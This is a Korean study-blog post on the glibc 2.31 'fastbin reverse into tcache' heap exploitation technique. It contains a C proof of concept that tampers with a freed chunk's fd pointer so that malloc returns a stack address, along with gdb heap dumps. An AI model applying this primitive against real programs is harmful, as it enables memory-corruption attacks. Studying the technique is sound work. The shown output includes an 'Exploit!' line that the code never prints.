공부용

[Heap] fastbin reverse into tcache in glibc 2.31

🧡 fastbin reverse into tcache :D

fastbin reverse into tcache는 다음 부분을 이용해 fastbin에 있는 free된 heap들을 tcache로 옮겨 AAW를 가능하게 해주는 기법이다.

#if USE_TCACHE
/*While we're here, if we see other chunks of the same size, stash the min the tcache.*/
size_t tc_idx = csize2tidx(nb);
if(tcache && tc_idx < mp_.tcache_bins)
{
	mchunkptr tc_victim;

	/*While bin not empty and tcache not full, copy chunks.*/
	while(tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim=*fb) != NULL)
	{
		if(SINGLE_THREAD_P)
			*fb=tc_victim->fd;
		else
		{
			REMOVE_FB(fb,pp,tc_victim);
			if(__glibc_unlikely (tc_victim == NULL))
				break;
		}
		tcache_put(tc_victim, tc_idx);
	}
}
	#endif
	void *p = chunk2mem(victim);
	alloc_perturb (p,bytes);
	return p;
}

 

 

🧡 Test code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

const size_t allocsize = 0x40;

int main() {
        char *ptrs[14];
        size_t i;

        for(i=0; i<14; i++)
                ptrs[i] = malloc(allocsize);

        for(i=0; i<7; i++)
                free(ptrs[i]);

        char *victim = ptrs[7];
        printf("victim: %p\n", victim);
        free(victim);

        for(int i=8; i<14; i++)
                free(ptrs[i]);

        size_t stack_var[6];
        memset(stack_var, 0xcd, sizeof(stack_var));

        printf("The stack address that we intend to target: %p\nIt's current value is %p\n", &stack_var[2], (char *)stack_var[2]);

        *(size_t**)victim = &stack_var[0];
        
        for(i=0; i<7; i++)
                ptrs[i] = malloc(allocsize);

        for(i=0; i<6; i++)
                printf("%p: %p\n", &stack_var[i], (char *)stack_var[i]);

        malloc(allocsize);
        char *q = malloc(allocsize);
        printf("q: %p\n", q);

}

 

🧡 Explaination

1. 총 14개의 heap을 할당하고, tcache_entry를 모두 채운다.

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk                
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x50                 Freed                0x0              None
0x5555555592e0      0x0                 0x50                 Freed     0x5555555592a0              None
0x555555559330      0x0                 0x50                 Freed     0x5555555592f0              None
0x555555559380      0x0                 0x50                 Freed     0x555555559340              None
0x5555555593d0      0x0                 0x50                 Freed     0x555555559390              None
0x555555559420      0x0                 0x50                 Freed     0x5555555593e0              None
0x555555559470      0x0                 0x50                 Freed     0x555555559430              None
0x5555555594c0      0x0                 0x50                 Used                None              None
0x555555559510      0x0                 0x50                 Used                None              None
0x555555559560      0x0                 0x50                 Used                None              None
0x5555555595b0      0x0                 0x50                 Used                None              None
0x555555559600      0x0                 0x50                 Used                None              None
0x555555559650      0x0                 0x50                 Used                None              None
0x5555555596a0      0x0                 0x50                 Used                None              None

 

2. 7번째 heap을 free한다. 이 heap은 fastbin에 들어간다.

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk                
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x50                 Freed                0x0              None
0x5555555592e0      0x0                 0x50                 Freed     0x5555555592a0              None
0x555555559330      0x0                 0x50                 Freed     0x5555555592f0              None
0x555555559380      0x0                 0x50                 Freed     0x555555559340              None
0x5555555593d0      0x0                 0x50                 Freed     0x555555559390              None
0x555555559420      0x0                 0x50                 Freed     0x5555555593e0              None
0x555555559470      0x0                 0x50                 Freed     0x555555559430              None
0x5555555594c0      0x0                 0x50                 Freed                0x0              None
0x555555559510      0x0                 0x50                 Used                None              None
0x555555559560      0x0                 0x50                 Used                None              None
0x5555555595b0      0x0                 0x50                 Used                None              None
0x555555559600      0x0                 0x50                 Used                None              None
0x555555559650      0x0                 0x50                 Used                None              None
0x5555555596a0      0x0                 0x50                 Used                None              None
0x5555555596f0      0x0                 0x410                Used                None              None

 

3. fastbin을 가득 채우고 fastbin[0]->fd를 원하는 값으로 변조한다. 여기서는 stack_var이라는 전역변수를 두고 stack_var[2]의 주소를 넣어줬다.

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk                
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x50                 Freed                0x0              None
0x5555555592e0      0x0                 0x50                 Freed     0x5555555592a0              None
0x555555559330      0x0                 0x50                 Freed     0x5555555592f0              None
0x555555559380      0x0                 0x50                 Freed     0x555555559340              None
0x5555555593d0      0x0                 0x50                 Freed     0x555555559390              None
0x555555559420      0x0                 0x50                 Freed     0x5555555593e0              None
0x555555559470      0x0                 0x50                 Freed     0x555555559430              None
0x5555555594c0      0x0                 0x50                 Freed     0x7fffffffdf00              None
0x555555559510      0x0                 0x50                 Freed     0x5555555594c0              None
0x555555559560      0x0                 0x50                 Freed     0x555555559510              None
0x5555555595b0      0x0                 0x50                 Freed     0x555555559560              None
0x555555559600      0x0                 0x50                 Freed     0x5555555595b0              None
0x555555559650      0x0                 0x50                 Freed     0x555555559600              None
0x5555555596a0      0x0                 0x50                 Freed     0x555555559650              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0                                                                                                                                                       
(0x40)     fastbin[2]: 0x0                                                                                                                                                       
(0x50)     fastbin[3]: 0x5555555596a0 --> 0x555555559650 --> 0x555555559600 --> 0x5555555595b0 --> 0x555555559560 --> 0x555555559510 --> 0x5555555594c0 --> 0x7fffffffdf00 (size error (0xcdcdcdcdcdcdcdc8)) --> 0xcdcdcdcdcdcdcdcd (invaild memory)                                                                                                              
(0x60)     fastbin[4]: 0x0                                                                                                                                                       
(0x70)     fastbin[5]: 0x0                                                                                                                                                       
(0x80)     fastbin[6]: 0x0                                                                                                                                                       
(0x90)     fastbin[7]: 0x0                                                                                                                                                       
(0xa0)     fastbin[8]: 0x0                                                                                                                                                       
(0xb0)     fastbin[9]: 0x0                                                                                                                                                       
                  top: 0x555555559b00 (size : 0x20500)                                                                                                                           
       last_remainder: 0x0 (size : 0x0)                                                                                                                                          
            unsortbin: 0x0                                                                                                                                                       
(0x50)   tcache_entry[3](7): 0x555555559480 --> 0x555555559430 --> 0x5555555593e0 --> 0x555555559390 --> 0x555555559340 --> 0x5555555592f0 --> 0x5555555592a0

 

4. tcache_entry를 모두 비운다.

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk                
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x50                 Used                None              None
0x5555555592e0      0x0                 0x50                 Used                None              None
0x555555559330      0x0                 0x50                 Used                None              None
0x555555559380      0x0                 0x50                 Used                None              None
0x5555555593d0      0x0                 0x50                 Used                None              None
0x555555559420      0x0                 0x50                 Used                None              None
0x555555559470      0x0                 0x50                 Used                None              None
0x5555555594c0      0x0                 0x50                 Freed     0x7fffffffdf00              None
0x555555559510      0x0                 0x50                 Freed     0x5555555594c0              None
0x555555559560      0x0                 0x50                 Freed     0x555555559510              None
0x5555555595b0      0x0                 0x50                 Freed     0x555555559560              None
0x555555559600      0x0                 0x50                 Freed     0x5555555595b0              None
0x555555559650      0x0                 0x50                 Freed     0x555555559600              None
0x5555555596a0      0x0                 0x50                 Freed     0x555555559650              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0                                                                                                                                                       
(0x40)     fastbin[2]: 0x0                                                                                                                                                       
(0x50)     fastbin[3]: 0x5555555596a0 --> 0x555555559650 --> 0x555555559600 --> 0x5555555595b0 --> 0x555555559560 --> 0x555555559510 --> 0x5555555594c0 --> 0x7fffffffdf00 (size error (0xcdcdcdcdcdcdcdc8)) --> 0xcdcdcdcdcdcdcdcd (invaild memory)                                                                                                              
(0x60)     fastbin[4]: 0x0                                                                                                                                                       
(0x70)     fastbin[5]: 0x0                                                                                                                                                       
(0x80)     fastbin[6]: 0x0                                                                                                                                                       
(0x90)     fastbin[7]: 0x0                                                                                                                                                       
(0xa0)     fastbin[8]: 0x0                                                                                                                                                       
(0xb0)     fastbin[9]: 0x0                                                                                                                                                       
                  top: 0x555555559b00 (size : 0x20500)                                                                                                                           
       last_remainder: 0x0 (size : 0x0)                                                                                                                                          
            unsortbin: 0x0

 

5. 똑같은 size의 heap을 1번 더 할당한다. 이때 fastbin에 있던 free된 heap들이 반대로 tcache에 정렬된 상태로 들어간다. 이제 다음에 할당되는 heap 영역은 tcache_entry를 참조하기 때문에 size 검사를 하지 않아 AAW가 가능해진다.

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk                
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x50                 Used                None              None
0x5555555592e0      0x0                 0x50                 Used                None              None
0x555555559330      0x0                 0x50                 Used                None              None
0x555555559380      0x0                 0x50                 Used                None              None
0x5555555593d0      0x0                 0x50                 Used                None              None
0x555555559420      0x0                 0x50                 Used                None              None
0x555555559470      0x0                 0x50                 Used                None              None
0x5555555594c0      0x0                 0x50                 Freed     0x555555559520              None
0x555555559510      0x0                 0x50                 Freed     0x555555559570              None
0x555555559560      0x0                 0x50                 Freed     0x5555555595c0              None
0x5555555595b0      0x0                 0x50                 Freed     0x555555559610              None
0x555555559600      0x0                 0x50                 Freed     0x555555559660              None
0x555555559650      0x0                 0x50                 Freed                0x0              None
0x5555555596a0      0x0                 0x50                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0                                                                                                                                                       
(0x40)     fastbin[2]: 0x0                                                                                                                                                       
(0x50)     fastbin[3]: 0xcdcdcdcdcdcdcdcd (invaild memory)                                                                                                                       
(0x60)     fastbin[4]: 0x0                                                                                                                                                       
(0x70)     fastbin[5]: 0x0                                                                                                                                                       
(0x80)     fastbin[6]: 0x0                                                                                                                                                       
(0x90)     fastbin[7]: 0x0                                                                                                                                                       
(0xa0)     fastbin[8]: 0x0                                                                                                                                                       
(0xb0)     fastbin[9]: 0x0                                                                                                                                                       
                  top: 0x555555559b00 (size : 0x20500)                                                                                                                           
       last_remainder: 0x0 (size : 0x0)                                                                                                                                          
            unsortbin: 0x0                                                                                                                                                       
(0x50)   tcache_entry[3](7): 0x7fffffffdf10 --> 0x5555555594d0 --> 0x555555559520 --> 0x555555559570 --> 0x5555555595c0 --> 0x555555559610 --> 0x555555559660

 

6. result

└─# ./test
victim: 0x559520ecb4d0
The stack address that we intend to target: 0x7ffd33a1fc70
It's current value is 0xcdcdcdcdcdcdcdcd
0x7ffd33a1fc60: 0xcdcdcdcdcdcdcdcd
0x7ffd33a1fc68: 0xcdcdcdcdcdcdcdcd
0x7ffd33a1fc70: 0xcdcdcdcdcdcdcdcd
0x7ffd33a1fc78: 0xcdcdcdcdcdcdcdcd
0x7ffd33a1fc80: 0xcdcdcdcdcdcdcdcd
0x7ffd33a1fc88: 0xcdcdcdcdcdcdcdcd
Exploit!
q: 0x7ffd33a1fc70

'공부용' 카테고리의 다른 글

[Heap] House of Botcake 정리  (0) 2021.02.16
[Heap] House of Einherjar 정리  (0) 2021.02.15
[Heap] Poison NULL Byte Attack  (0) 2021.02.15
[Heap] House of Lore 정리  (0) 2021.02.15
[Heap] House of Orange - FSOP in heap  (0) 2021.02.15